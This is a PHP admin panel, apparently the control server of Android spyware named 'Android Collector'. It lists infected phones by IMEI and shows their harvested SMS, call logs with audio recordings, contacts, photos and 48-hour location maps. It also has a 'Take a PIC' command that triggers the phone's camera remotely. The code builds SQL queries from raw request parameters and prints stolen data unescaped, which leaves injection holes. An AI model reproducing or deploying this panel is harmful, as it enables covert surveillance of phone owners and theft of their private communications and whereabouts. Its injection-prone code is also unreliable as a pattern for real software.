<?php
	include("dbconnect.php");
	session_start();
	$session_name = isset($_SESSION['name']) ? $_SESSION['name'] : '';
	if(!$session_name || !$_SESSION['time'])
	{
		echo "<script> location.href='./index_admin.php';</script>";
		exit;
	}
	if(time() - $_SESSION['time'] > 3600)
	{
		$_SESSION['time'] = 0;
	}
	if(isset($_GET['co']) && $_GET['co'] == "takepic" && isset($_GET['imei']) && $_GET['imei'])
	{
		$sql = "update tb_command set take_pics='1', rv_flags='0' where imei='".$_GET['imei']."'";
		mysql_query($sql);
	}
?>

<!DOCTYPE html>

<html> 
	<head> 
	<title>Administrator</title> 
	
	<meta name="viewport" content="width=device-width, initial-scale=1"> 

	<link rel="stylesheet" href="style.css" />
	<script type="text/javascript" src="jquery.js"></script>
	<script type="text/javascript" src="admin.js"></script>
</head> 
<body>
<?php 
if ($login)
{
	echo "<script>window.open('index_admin.php','_self');</script>";
}
?>
<div class="body">
<div class="header">Admin Panel</div>
<div style="width:90%; margin:auto; margin-top:20px;">
	<div style="">
		<table style="width:100%;" border='1'>
			<tr>
				<td style="width:200px;text-align:center;">Android Collector</td>
				<td>
					<table style="width:100%">
						<tr>
							<td>Currently connected client</td>
						</tr>
						<tr>
							<td>
								<table style="width:100%" border='1'>
										<?php
											$sql_total = "select * from tb_option WHERE TIMESTAMPDIFF(MINUTE, TIMESTAMP(change_time), CURRENT_TIMESTAMP) < 1 GROUP BY imei";
											$result_total = mysql_query($sql_total);
											if(mysql_num_rows($result_total) > 0){
												while($rows = mysql_fetch_array($result_total))
												{
													echo "<tr>";
													echo "<td style='width:50%'>".$rows['imei']."</td>";
													echo "<td><a href='./admin.php?imei=".$rows['imei']."'>Manage Client</a></td>";
													echo "</tr>";
												}
											}
											else{
												echo "<tr>";
												echo "<td>Does not exist.</td>";
												echo "</tr>";
												exit;
											}
										?>
								</table>
							</td>
						</tr>
					</table>
				</td>
			</tr>
		</table>
	</div>
</div>
<div style="width:90%; margin:auto;">
<?php
	$imei = isset($_GET['imei']) ? $_GET['imei'] : '';
	if($imei)
	{
		$sql_command = "select * from tb_command where imei='".$imei."'";
		$result_command = mysql_query($sql_command);
		if(mysql_num_rows($result_command) > 0){
			$row = mysql_fetch_array($result_command);
			echo "<table style='width:100%;margin-top:30px;' border='1' id='feature'><tr>";
			echo "<td style='width:200px;text-align:center;' id='command_imei'>".$imei."</td>";
			echo "<td><table style='width:100%' border='1'>";
			echo "<tr style='text-align:center'>";
			echo "<td width='50%'>Features</td><td width='100%'>Data</td>";
			echo "</tr>";
			echo "<tr>";
			$listen_flag_on = ($row['is_calllog']==1) ? "checked" : "";
			$listen_flag_off = ($row['is_calllog']==0) ? "checked" : "";
			echo "	<td style='width:50%;'><input type='checkbox' id='on_listen' rel='listen_on' ".$listen_flag_on.">On<input type='checkbox' id='off_listen' rel='listen_off' ".$listen_flag_off.">Off</td>";
			echo "	<td><a href='./admin.php?imei=".$imei."&co=listen'>Listen Data</a></td>";
			echo "</tr>";
			echo "<tr>";
			$contact_flag_on = ($row['is_contact']==1) ? "checked" : "";
			$contact_flag_off = ($row['is_contact']==0) ? "checked" : "";
			echo "	<td><input type='checkbox' id='on_contact' rel='contact_on' ".$contact_flag_on.">On<input type='checkbox' id='off_contact' rel='contact_off' ".$contact_flag_off.">Off</td>";
			echo "	<td><a href='./admin.php?imei=".$imei."&co=co'>View CONTACTS</a></td>";
			echo "</tr>";
			echo "<tr>";
			$pic_flag_on = ($row['is_pics']==1) ? "checked" : "";
			$pic_flag_off = ($row['is_pics']==0) ? "checked" : "";
			echo "	<td><input type='checkbox' id='on_pic' rel='pic_on' ".$pic_flag_on.">On<input type='checkbox' id='off_pic' rel='pic_off' ".$pic_flag_off.">Off</td>";
			echo "	<td><a href='./admin.php?imei=".$imei."&co=pic'>View PICS</a>&nbsp;&nbsp;&nbsp;&nbsp;<a href='./admin.php?imei=".$imei."&co=takepic'>Take a PIC</a></td>";
			echo "</tr>";
			echo "<tr>";
			$sms_flag_on = ($row['is_sms']==1) ? "checked" : "";
			$sms_flag_off = ($row['is_sms']==0) ? "checked" : "";
			echo "	<td><input type='checkbox' id='on_sms' rel='sms_on' ".$sms_flag_on.">On<input type='checkbox' id='off_sms' rel='sms_off' ".$sms_flag_off.">Off</td>";
			echo "	<td><a href='./admin.php?imei=".$imei."&co=sms'>View SMS</a></td>";
			echo "</tr>";
			echo "<tr>";
			$call_flag_on = ($row['is_location']==1) ? "checked" : "";
			$call_flag_off = ($row['is_location']==0) ? "checked" : "";
			echo "	<td><input type='checkbox' id='on_map' rel='map_on' ".$call_flag_on.">On<input type='checkbox' id='off_map' rel='map_off' ".$call_flag_off.">Off</td>";
			echo "	<td><a href='./admin.php?imei=".$imei."&co=map'><u>View MAP</u></a></td>";
			echo "</tr>";
			echo "</table></td>";
			echo "</tr></table>";
		}
	}
?>
</div>

<div style="width:90%; margin:auto;">
<?php
	$imei = isset($_GET['imei']) ? $_GET['imei'] : '';
	$click_option = isset($_GET['co']) ? $_GET['co'] : '';
	if($imei)
	{
		switch($click_option)
		{
			case 'listen':
				$sql_listen = "select * from tb_calllog where imei='".$imei."' ORDER BY start_time DESC";
				$result_listen = mysql_query($sql_listen);
				if(count($result_listen) != 0){
					echo "<table style='width:100%;margin-top:30px;' border='1'><tr>";
						echo "<td style='width:16.6%;text-align:center;'>Direction</td>";
						echo "<td style='width:16.6%;text-align:center;'>Phone Number</td>";
						echo "<td style='width:16.6%;text-align:center;'>Start Time</td>";
						echo "<td style='width:16.6%;text-align:center;'>End Time</td>";
						echo "<td style='width:16.6%;text-align:center;'></td></tr>";
					while($row = mysql_fetch_array($result_listen)){
						$call_state = ($row['direction'] == 2)? "Outgoing" : "Incoming";
						echo "<td style='width:16.6%;text-align:center;'>".$call_state."</td>";
						echo "<td style='width:16.6%;text-align:center;'>".$row['phone_no']."</td>";
						echo "<td style='width:16.6%;text-align:center;'>".$row['start_time']."</td>";
						echo "<td style='width:16.6%;text-align:center;'>".$row['end_time']."</td>";
						$file_state = ($row['audio_log_path'] == "")? "": "<a href='./".$row['audio_log_path']."'>Play</a>";
//						$file_state = ($row['audio_log_path'] == "")? "": "<a href='./admin.php?imei=".$imei."&co=".$click_option."&play=".$row['audio_log_path']."'>Play</a>";
						echo "<td style='width:16.6%;text-align:center;'>".$file_state."</td></tr>";
					}
					echo "</table>";
?>
<script src="http://mediaplayer.yahoo.com/js"></script>
<?php						
				}
				break;
			case 'co':
				$sql_contact = "select * from tb_contact where imei='".$imei."' ORDER BY access_time DESC";
				$result_contact = mysql_query($sql_contact);
				if(count($result_contact) != 0){
					echo "<table style='width:100%;margin-top:30px;' border='1'><tr>";
					echo "<td style='width:25%;text-align:center;'>Name</td>";
					echo "<td style='width:25%;text-align:center;'>Phone Number</td>";
					echo "<td style='width:25%;text-align:center;'>Access Time</td></tr><tr>";
					while($row = mysql_fetch_array($result_contact)){
					echo "<td style='width:25%;text-align:center;'>".$row['name']."</td>";
					echo "<td style='width:25%;text-align:center;'>".$row['phone_no']."</td>";
					echo "<td style='width:25%;text-align:center;'>".$row['access_time']."</td>";
					echo "</tr>";
					}
					echo "</table>";
				}
				break;
			case 'pic':
			case 'takepic':
				$sql_pic = "select * from tb_pics where imei='".$imei."' AND file_path<>'' ORDER BY access_time DESC Limit 0, 10";
				$result_pic = mysql_query($sql_pic);
				if(count($result_pic) > 0){
					echo "<table style='width:100%;margin-top:30px' border='1'><tr>";
					echo "<td style='width:10%;text-align:center;'>Access Time</td>";
					echo "<td style='width:10%;text-align:center;'>Photo</td></tr>";
					while($row = mysql_fetch_array($result_pic)){
					echo "<td style='width:10%;text-align:center;'>".$row['access_time']."</td>";
					echo "<td style='width:10%;text-align:center;'><img src='./".$row['file_path']."' width='100px' height='100px'></td>";
					echo "</tr>";
					}
					echo "</table>";
				}
				break;
			case 'sms':
				$sql_sms = "select * from tb_sms where imei='".$imei."' ORDER BY tr_time DESC Limit 0,200";
				$result_sms = mysql_query($sql_sms);
				if(count($result_sms) != 0){
					echo "<table style='width:100%;margin-top:30px' border='1'><tr>";
					echo "<td style='width:10%;text-align:center;'>Direction</td>";
					echo "<td style='width:10%;text-align:center;'>Trasfer Time</td>";
					echo "<td style='width:10%;text-align:center;'>Address</td>";
					echo "<td style='width:40%;text-align:center;'>Body</td></tr>";
					while($row = mysql_fetch_array($result_sms)){
						$calling_state = ($row['direction'] == 2)?'Outgoing' : 'Incoming';						
						echo "<td style='width:10%;text-align:center;'>".$calling_state."</td>";
						echo "<td style='width:10%;text-align:center;'>".$row['tr_time']."</td>";
						echo "<td style='width:10%;text-align:center;'>".$row['address']."</td>";
						echo "<td style='width:40%;text-align:center;'>".$row['body']."</td>";
						echo "</tr>";
					}
					echo "</table>";
				}
				break;
			case 'map':
				$a = 1; $b = 2;
				$sql_map = "select * from tb_location where imei='".$imei."' and TIMESTAMPDIFF(HOUR, TIMESTAMP(update_time), CURRENT_TIMESTAMP) < 48 GROUP BY update_time ORDER BY update_time DESC";
				$result_map = mysql_query($sql_map);
				if(mysql_num_rows($result_map) != 0){
					while($row = mysql_fetch_array($result_map)){
						$latMapa[] = isset($row['latitude']) ? $row['latitude'] : '';
						$lngMapa[] = isset($row['longitude']) ? $row['longitude'] : '';
						$address[] = isset($row['address']) ? $row['address'] : '';
						$update_time[] = isset($row['update_time']) ? $row['update_time'] : '';
					}

?>
							<script src="https://maps.googleapis.com/maps/api/js?sensor=false&libraries=places"></script>

							<style>
							body {
							font-family: sans-serif;
							font-size: 14px;
							}
							#map_canvas {
							width: 100%;
							height:400px;
							margin-top: 0.6em;
							}
							</style>

							<script>
								var count_location = "<?php echo count($latMapa);?>";
								var latMapa = ["<?php echo implode ('","', $latMapa); ?>"];
								var lngMapa = ["<?php echo implode ('","', $lngMapa); ?>"];
								var address = ["<?php echo implode ('","', $address); ?>"];
								var update_time =  ["<?php echo implode ('","', $update_time); ?>"];

								var map;
								var markers = [];
								function initialize() {
									var haightAshbury = new google.maps.LatLng(latMapa[0], lngMapa[0]);
									var mapOptions = {
										zoom: 12,
										center: haightAshbury,
										mapTypeId: google.maps.MapTypeId.ROADMAP
									};
									map = new google.maps.Map(document.getElementById('map_canvas'),mapOptions);
									var infowindow = new google.maps.InfoWindow();
									for (i = 0; i < count_location; i++) {  
										marker = new google.maps.Marker({
										position: new google.maps.LatLng(latMapa[i], lngMapa[i]),
										map: map
										});

										google.maps.event.addListener(marker, 'click', (function(marker, i) {
											return function() {
												infowindow.setContent(address[i]+"</br>"+update_time[i]);
												infowindow.open(map, marker);
											}
										})(marker, i));
									}
								}
								google.maps.event.addDomListener(window, 'load', initialize);
							</script>
<?php

					echo "	<div id='map_canvas' style='margin-top:30px;margin-bottom:30px; border:solid 2px #a1a1a1'></div>";
					echo "<table style='width:100%;margin-top:30px' border='1'><tr>";
					echo "<td style='text-align:center;'>latitude</td>";
					echo "<td style='text-align:center;'>longitude</td>";
					echo "<td style='width:40%;text-align:center;'>Address</td>";
					echo "<td style='width:10%;text-align:center;'>update_time</td></tr>";
					for($i = 0; $i < count($latMapa); $i ++){
						$lat_show = $latMapa[$i];
						$lng_show = $lngMapa[$i];

						echo "<td style='width:10%;text-align:center;'>".$latMapa[$i]."</td>";
						echo "<td style='width:10%;text-align:center;'>".$lngMapa[$i]."</td>";
						echo "<td style='width:10%;text-align:center;'>".$address[$i]."</td>";
						echo "<td style='width:40%;text-align:center;'>".$update_time[$i]."</td>";
						echo "</tr>";
					}
					echo "</table>";
				}
				break;

		}
	}
?>
</div>
<div class="footer"></div>
</div>
</body>